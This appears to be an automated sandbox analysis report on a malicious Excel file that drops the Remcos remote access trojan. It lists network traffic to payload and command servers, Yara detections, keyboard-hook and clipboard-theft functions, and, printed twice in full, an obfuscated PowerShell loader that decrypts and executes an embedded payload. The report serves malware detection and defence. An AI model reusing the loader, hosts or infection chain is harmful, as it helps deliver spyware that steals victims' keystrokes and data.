Source: global traffic	HTTP traffic detected: GET /sA HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /60/gbh/creamthingstohappenedgetmebackwithentirethingstogetbackeverythingtounderstandhowmuchpowerfulthingsitis__________wearegreatwithentirethingstobeback.doc HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.174Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /60/creatednewwaterbottleforme.gIF HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.174Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Upload/vbs.jpeg HTTP/1.1Host: 198.46.176.133Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /60/WDER.txt HTTP/1.1Host: 192.3.176.174Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: tny.wtf
Source: global traffic	DNS traffic detected: DNS query: sembe.duckdns.org
Source: global traffic	DNS traffic detected: DNS query: geoplugin.net

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 11:08:47 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jJElqVnUA8jKAx%2F3PmV0wFJdjDNyvn8deX5%2B0FMsEEFY2LgzOlpDDiWBEmqVoyPaex68lylLAgyk9nol7pY2Y03zAZpaFKvvz4cN800pE244OSTpBPUufyBF"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a93ef0988077288-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 11:08:47 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J3zRELeiEaDmw4y51hpaSqR5HJUC7tJYsS6NiS8pIdb8C4VnJ%2BAFmlxrWEe4Ehzvc1hOVzJpro8aThAGNaDy1v1Jf1MuEDT6My%2FkHgsficCy1%2BHgs915%2Bj46"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a93ef0c5a7e7288-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 11:08:47 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h6f%2BYPJbcgtCcj7FAeR%2B3SmYzifSQgkg5DDsALOW850tHuATRAJEs04PCjkDMyoSDzzcFcXtlXs3y0gZ83gqmPazoOWQlVTepC7Hq1luWpTVG%2F6VaEILJLz5"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a93ef0d5b577288-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 11:08:52 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=prf2EfDG%2FCvxWIKSDeHLWKkfPTRVsDRCuAyW86jiVQSWKfa%2B1kiG8tSJiY%2FSvWP3xgtqHIfqHeO7mMkS287lmAmNei3rpT18q%2FqWq1khLz%2BA%2BqJLrw1dVGQ1"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a93ef29effcc354-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 11:08:52 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=prf2EfDG%2FCvxWIKSDeHLWKkfPTRVsDRCuAyW86jiVQSWKfa%2B1kiG8tSJiY%2FSvWP3xgtqHIfqHeO7mMkS287lmAmNei3rpT18q%2FqWq1khLz%2BA%2BqJLrw1dVGQ1"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a93ef29effcc354-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Source: powershell.exe, 0000000A.00000002.440512880.0000000008231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.174
Source: powershell.exe, 0000000A.00000002.440512880.0000000008231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.174/60/WDER.txt
Source: EQNEDT32.EXE, 00000008.00000002.423816080.000000000065F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.174/60/creatednewwaterbottleforme.gIF
Source: EQNEDT32.EXE, 00000008.00000002.423816080.000000000065F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.174/60/creatednewwaterbottleforme.gIFj
Source: powershell.exe, 0000000A.00000002.436996063.00000000023DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.46.176.133
Source: powershell.exe, 0000000A.00000002.436996063.00000000023DB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.436404605.0000000000020000.00000004.00000020.00040000.00000000.sdmp	String found in binary or memory: http://198.46.176.133/Upload/vbs.jpeg
Source: RegAsm.exe, RegAsm.exe, 0000000C.00000002.1053847847.0000000000526000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp
Source: powershell.exe, 0000000A.00000002.437191072.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.1053711584.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: RegAsm.exe, 0000000C.00000002.1053847847.00000000004D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpC)
Source: RegAsm.exe, 0000000C.00000002.1053847847.00000000004D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpQ)
Source: powershell.exe, 0000000A.00000002.436709620.00000000005BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.cxj
Source: powershell.exe, 0000000A.00000002.437191072.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000A.00000002.436996063.00000000022A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: tny.wtf.url.4.dr	String found in binary or memory: http://tny.wtf/
Source: AWD 490104998518.xls, sA.url.4.dr	String found in binary or memory: http://tny.wtf/sA
Source: 90530000.0.dr, ~DF86012724870D7705.TMP.0.dr	String found in binary or memory: http://tny.wtf/sAyX
Source: powershell.exe, 0000000A.00000002.437191072.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000A.00000002.437191072.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000A.00000002.437191072.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000A.00000002.437191072.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Key, Mouse, Clipboard, Microphone and Screen Capturing

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_0040A2B8 SetWindowsHookExA 0000000D,0040A2A4,00000000

12_2_0040A2B8

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,

12_2_0040B70E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_004168C1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

12_2_004168C1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,

12_2_0040B70E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_0040A3E0 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,

12_2_0040A3E0

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 10.2.powershell.exe.41fd080.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.41fd080.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1053711584.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1053847847.00000000004F1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.437191072.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3384, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\note\nots.dat, type: DROPPED

System Summary

Source: 10.2.powershell.exe.41fd080.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 10.2.powershell.exe.41fd080.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 10.2.powershell.exe.41fd080.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 10.2.powershell.exe.41fd080.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 10.2.powershell.exe.41fd080.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 10.2.powershell.exe.41fd080.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000000C.00000002.1053711584.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000000C.00000002.1053711584.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0000000C.00000002.1053711584.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000000A.00000002.437191072.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 3240, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 3240, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: RegAsm.exe PID: 3384, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\creamthingstohappenedgetmebackwithentirethingstogetbackeverythingtounderstandhowmuchpowerfulthingsitis__________wearegreatwithentirethingstobeback[1].doc, type: DROPPED	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D09A9DB5.doc, type: DROPPED	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen

Excel sheet contains many unusual embedded objects

Source: AWD 490104998518.xls	OLE: Microsoft Excel 2007+
Source: ~DFE4D87C1F83611F19.TMP.0.dr	OLE: Microsoft Excel 2007+
Source: 90530000.0.dr	OLE: Microsoft Excel 2007+

Microsoft Office drops suspicious files

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\sA.url			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\tny.wtf.url			Jump to behavior

Very long command line found

Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 3116
Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 3116			Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI68766530954276373206247047974663CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIdSLZBgRjPNZ/qocg/lH2aZHZ5Jl+3cjSG1p/+zzQRClxM6ERqs615j4oDskIGVeU9U0hKzWE2qLRhN3w3oPnP9D3zRR0BjWDDOAHuyfLsijMtAivmVqnjEhi75GYn/731w2sw2LX9rePUu8MuzZBPukpDJjP40wnUy5RXUPJoZQj2IJHLLwPLeWAVLyYam2ryxj+aZ147db0X48wxpHj1wzIXORWhGABOaWwaSlaHL3gmVyt1aXV7FBFES5QqtebxGfvLhl4iUZNYV88W0LKeIoUGNbEQFkzf13DC0Iby1tFcGdBD33I0Q+W2Tvg+5qcSyDt39hGQc+cPQJW6i+zS5PdayxMRwfx6SHZXH4Wqvwv1PSLLBL05m+vUyyZdWHee1jJZK1IYpJ679FIiTnjUqbP5xka/o9mFQDN8rr6+t3w5UZ8/qZmHx1mVRoEQQE9sfqxRdM4XzLD6zM0xvTyXDiPtOrir9Y56WYwILgvowZC7rtlCr5vnoqSqCeZ+TBUh3I8J+drjXQv5Li4WPY7XJzFYZPaPMsWDQEjc1bMNXhVQ0Ukf2iM7FfM7k6Nze4qwdaBy3eAeQAbrjji8e0i57J7CMED36TsJyhF0u03e/7/3gWxHIosnVfstQl9YchNNE0mcQpHtSiF3PXt9EE9Ulz//7YH3sp7ZQKed24Zy6boPjqU9Ryt/0qHB2CgOA9dDgikPiavuiSSZwbmMVP3wzAzgXN3nBCy0PstnP16FjfPsLfXhDA3NS1dtwaJQ0liDeM77UG2Ki38eJ/rruKe9qgo+FuHe0xchT8/Wf5NVYoxrcASiFgam2A+WOxlafeNmbR8szgcpCGnpZl/NgN6OssaRDn26lO+fP2jr2C/5Yc3McAo0Ld51WdEwKzWP8b1W57wqS7gMMfAyZ4qaXwBt0DPwXCDT4lDwrWOtFJtHKkrSrB29mx+ZSiTGJd4zwLYP4xGKn+mDlT0rPmQDAZM0Hkrfyo5dxlRZHsLsW0XCN3EuXI+4932vGm0QSE+1K4quce5wQtHb1zoJKShclZ3BMUvCdOwmEdkxUQXKG7DtjDx8uVaNsAElTRbqENfoYu9eWmyI9LzKR9oZNPS+COhZr5JHq9hpvTMcsOldartIGHZY80SQMOSaGVIgdyoyJGpNwdUZLlDYe8NYQDaAJUhcq27lHvZkYQVajhD3kDVJQbOIf1lYyaY52Jn1dHnhXGk0nluzd0ilXEHvzPHLaVeocoCd50UQJ+q1KgXN7gS2k+ZoaXgaMSw9ouBoVyLc2V04RD098/AS2dEb2//QHWXG3F0c50KqYP4QoW398pQnbg4M4pJz0UIDlflEkkDinQrkxq/DRVpVBWz7wRUbde9F6yxo/vtkM0dGIR+Udwiy0EWC9HpU+MKlp45fqh0Pc7VyS3cHOu8E4FMallUVE4yfg==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI68766530954276373206247047974663CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIdSLZBgRjPNZ/qocg/lH2aZHZ5Jl+3cjSG1p/+zzQRClxM6ERqs615j4oDskIGVeU9U0hKzWE2qLRhN3w3oPnP9D3zRR0BjWDDOAHuyfLsijMtAivmVqnjEhi75GYn/731w2sw2LX9rePUu8MuzZBPukpDJjP40wnUy5RXUPJoZQj2IJHLLwPLeWAVLyYam2ryxj+aZ147db0X48wxpHj1wzIXORWhGABOaWwaSlaHL3gmVyt1aXV7FBFES5QqtebxGfvLhl4iUZNYV88W0LKeIoUGNbEQFkzf13DC0Iby1tFcGdBD33I0Q+W2Tvg+5qcSyDt39hGQc+cPQJW6i+zS5PdayxMRwfx6SHZXH4Wqvwv1PSLLBL05m+vUyyZdWHee1jJZK1IYpJ679FIiTnjUqbP5xka/o9mFQDN8rr6+t3w5UZ8/qZmHx1mVRoEQQE9sfqxRdM4XzLD6zM0xvTyXDiPtOrir9Y56WYwILgvowZC7rtlCr5vnoqSqCeZ+TBUh3I8J+drjXQv5Li4WPY7XJzFYZPaPMsWDQEjc1bMNXhVQ0Ukf2iM7FfM7k6Nze4qwdaBy3eAeQAbrjji8e0i57J7CMED36TsJyhF0u03e/7/3gWxHIosnVfstQl9YchNNE0mcQpHtSiF3PXt9EE9Ulz//7YH3sp7ZQKed24Zy6boPjqU9Ryt/0qHB2CgOA9dDgikPiavuiSSZwbmMVP3wzAzgXN3nBCy0PstnP16FjfPsLfXhDA3NS1dtwaJQ0liDeM77UG2Ki38eJ/rruKe9qgo+FuHe0xchT8/Wf5NVYoxrcASiFgam2A+WOxlafeNmbR8szgcpCGnpZl/NgN6OssaRDn26lO+fP2jr2C/5Yc3McAo0Ld51WdEwKzWP8b1W57wqS7gMMfAyZ4qaXwBt0DPwXCDT4lDwrWOtFJtHKkrSrB29mx+ZSiTGJd4zwLYP4xGKn+mDlT0rPmQDAZM0Hkrfyo5dxlRZHsLsW0XCN3EuXI+4932vGm0QSE+1K4quce5wQtHb1zoJKShclZ3BMUvCdOwmEdkxUQXKG7DtjDx8uVaNsAElTRbqENfoYu9eWmyI9LzKR9oZNPS+COhZr5JHq9hpvTMcsOldartIGHZY80SQMOSaGVIgdyoyJGpNwdUZLlDYe8NYQDaAJUhcq27lHvZkYQVajhD3kDVJQbOIf1lYyaY52Jn1dHnhXGk0nluzd0ilXEHvzPHLaVeocoCd50UQJ+q1KgXN7gS2k+ZoaXgaMSw9ouBoVyLc2V04RD098/AS2dEb2//QHWXG3F0c50KqYP4QoW398pQnbg4M4pJz0UIDlflEkkDinQrkxq/DRVpVBWz7wRUbde9F6yxo/vtkM0dGIR+Udwiy0EWC9HpU+MKlp45fqh0Pc7VyS3cHOu8E4FMallUVE4yfg==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process Stats: CPU usage > 49%

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_004167B4 ExitWindowsEx,LoadLibraryA,GetProcAddress,

12_2_004167B4

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_01B72C88	10_2_01B72C88
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_01B79689	10_2_01B79689
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_01B7593A	10_2_01B7593A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0043E0CC	12_2_0043E0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0041F0FA	12_2_0041F0FA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00454159	12_2_00454159
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00438168	12_2_00438168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_004461F0	12_2_004461F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0043E2FB	12_2_0043E2FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0045332B	12_2_0045332B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0042739D	12_2_0042739D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_004374E6	12_2_004374E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0043E558	12_2_0043E558
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00438770	12_2_00438770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_004378FE	12_2_004378FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00433946	12_2_00433946
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0044D9C9	12_2_0044D9C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00427A46	12_2_00427A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0041DB62	12_2_0041DB62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00427BAF	12_2_00427BAF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00437D33	12_2_00437D33
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00435E5E	12_2_00435E5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00426E0E	12_2_00426E0E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0043DE9D	12_2_0043DE9D
